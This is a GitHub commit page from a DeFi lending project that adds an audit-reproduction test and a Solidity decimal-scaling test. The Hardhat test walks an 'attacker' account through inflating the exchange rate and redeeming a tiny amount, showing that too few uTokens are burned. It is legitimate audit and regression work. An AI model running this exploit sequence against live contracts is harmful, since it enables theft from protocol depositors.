-
Notifications
You must be signed in to change notification settings - Fork 12
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge branch 'feature/uni-1825-deploy-to-base-sepolia-testnet' into f…
…inding/uni-1989-wrong-calculation-of-accure-reward-in-comptrollersol # Conflicts: # slither.db.json
- Loading branch information
Showing
14 changed files
with
340 additions
and
26 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
99 changes: 99 additions & 0 deletions
99
test/audit-2024/uni-1994-utoken-amount-to-be-burned-on-redeem-can-be-less-than-the.ts
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,99 @@ | ||
import {ethers} from "hardhat"; | ||
import {Signer} from "ethers"; | ||
import deploy, {Contracts} from "../../deploy"; | ||
import {formatEther, parseUnits} from "ethers/lib/utils"; | ||
import {getConfig} from "../../deploy/config"; | ||
import {getDai, warp} from "../../test/utils"; | ||
|
||
describe("UToken redeeming", () => { | ||
let attacker: Signer; | ||
let attackerAddress: string; | ||
|
||
let borrower: Signer; | ||
let borrowerAddress: string; | ||
|
||
let deployer: Signer; | ||
let deployerAddress: string; | ||
|
||
let contracts: Contracts; | ||
|
||
before(async function () { | ||
const signers = await ethers.getSigners(); | ||
deployer = signers[0]; | ||
deployerAddress = await deployer.getAddress(); | ||
contracts = await deploy({...getConfig(), admin: deployerAddress}, deployer); | ||
|
||
attacker = signers[1]; | ||
attackerAddress = await attacker.getAddress(); | ||
|
||
borrower = signers[2]; | ||
borrowerAddress = await borrower.getAddress(); | ||
|
||
await contracts.uToken.setMintFeeRate(0); | ||
|
||
// set the borrow rate to be 100% | ||
await contracts.fixedInterestRateModel.setInterestRate(317097919830); | ||
|
||
// interests repaid all goes to the utoken minters | ||
await contracts.uToken.setReserveFactor(0); | ||
}); | ||
|
||
it("set up credit line", async () => { | ||
const AMOUNT = parseUnits("10000"); | ||
|
||
await contracts.userManager.addMember(borrowerAddress); | ||
await contracts.userManager.addMember(deployerAddress); | ||
|
||
// mint dai | ||
await getDai(contracts.dai, deployer, AMOUNT); | ||
await contracts.dai.approve(contracts.uToken.address, AMOUNT); | ||
await contracts.uToken.mint(AMOUNT); | ||
|
||
// stake | ||
await getDai(contracts.dai, deployer, AMOUNT); | ||
await contracts.dai.approve(contracts.userManager.address, AMOUNT); | ||
await contracts.userManager.stake(AMOUNT); | ||
|
||
// vouche for the borrower | ||
await contracts.userManager.updateTrust(borrowerAddress, AMOUNT); | ||
await contracts.userManager.getCreditLimit(borrowerAddress); | ||
}); | ||
|
||
it("mint", async () => { | ||
const mintAmount = parseUnits("1"); | ||
await getDai(contracts.dai, attacker, mintAmount); | ||
await contracts.dai.connect(attacker).approve(contracts.uToken.address, mintAmount); | ||
await contracts.uToken.connect(attacker).mint(mintAmount); | ||
const initUTokenBal = await contracts.uToken.balanceOf(attackerAddress); | ||
console.log({initUTokenBal: formatEther(initUTokenBal)}); | ||
const daiValue = await contracts.uToken.balanceOfUnderlying(attackerAddress); | ||
console.log({daiValue: formatEther(daiValue)}); | ||
const rate = await contracts.uToken.exchangeRateStored(); | ||
console.log({exchangeRate: formatEther(rate)}); | ||
}); | ||
|
||
it("pump up the exchange rate", async () => { | ||
const borrowAmount = parseUnits("1000"); | ||
await contracts.uToken.connect(borrower).borrow(borrowerAddress, borrowAmount); | ||
|
||
// advance time by 1 year | ||
await warp(3600 * 24 * 365); | ||
|
||
// repay enough to make the exchange rate go up | ||
const repayAmount = parseUnits("10000"); | ||
await getDai(contracts.dai, borrower, repayAmount); | ||
await contracts.dai.connect(borrower).approve(contracts.uToken.address, repayAmount); | ||
await contracts.uToken.connect(borrower).repayBorrow(borrowerAddress, repayAmount); | ||
}); | ||
|
||
it("redeem", async () => { | ||
const redeemAmount = "1"; | ||
await contracts.uToken.connect(attacker).redeem(0, redeemAmount); | ||
const remainingUTokenBal = await contracts.uToken.balanceOf(attackerAddress); | ||
console.log({remainingUTokenBal: formatEther(remainingUTokenBal)}); | ||
const daiValue = await contracts.uToken.balanceOfUnderlying(attackerAddress); | ||
console.log({daiValue: formatEther(daiValue)}); | ||
const rate = await contracts.uToken.exchangeRateStored(); | ||
console.log({exchangeRate: formatEther(rate)}); | ||
}); | ||
}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,37 @@ | ||
pragma solidity ^0.8.0; | ||
|
||
import {TestWrapper} from "./TestWrapper.sol"; | ||
import {ScaledDecimalBase} from "union-v2-contracts/ScaledDecimalBase.sol"; | ||
|
||
contract TestScaledDecimalBase is TestWrapper, ScaledDecimalBase { | ||
function setUp() public {} | ||
|
||
function testDecimalScaling() public { | ||
uint256 resp = decimalScaling(1e6 * 123, 6); | ||
assertEq(resp, 123 * 1e18); | ||
resp = decimalScaling(1e24 * 123, 24); | ||
assertEq(resp, 123 * 1e18); | ||
} | ||
|
||
function testDecimalReducing() public { | ||
uint256 resp = decimalScaling(1e6 * 123, 6); | ||
uint256 resp2 = decimalReducing(resp, 6); | ||
assertEq(resp2, 1e6 * 123); | ||
|
||
resp = decimalScaling(1e30 * 123, 30); | ||
resp2 = decimalReducing(resp, 30); | ||
assertEq(resp2, 1e30 * 123); | ||
resp2 = decimalReducing(resp, 30, false); | ||
assertEq(resp2, 1e30 * 123); | ||
} | ||
|
||
function testDecimalReducingRound() public { | ||
uint amount = 999999900000000000; | ||
uint expectAmount = 1000000; | ||
uint expectAmount2 = 999999; | ||
uint256 resp = decimalReducing(amount, 6, true); | ||
assertEq(resp, expectAmount); | ||
resp = decimalReducing(amount, 6, false); | ||
assertEq(resp, expectAmount2); | ||
} | ||
} |
Oops, something went wrong.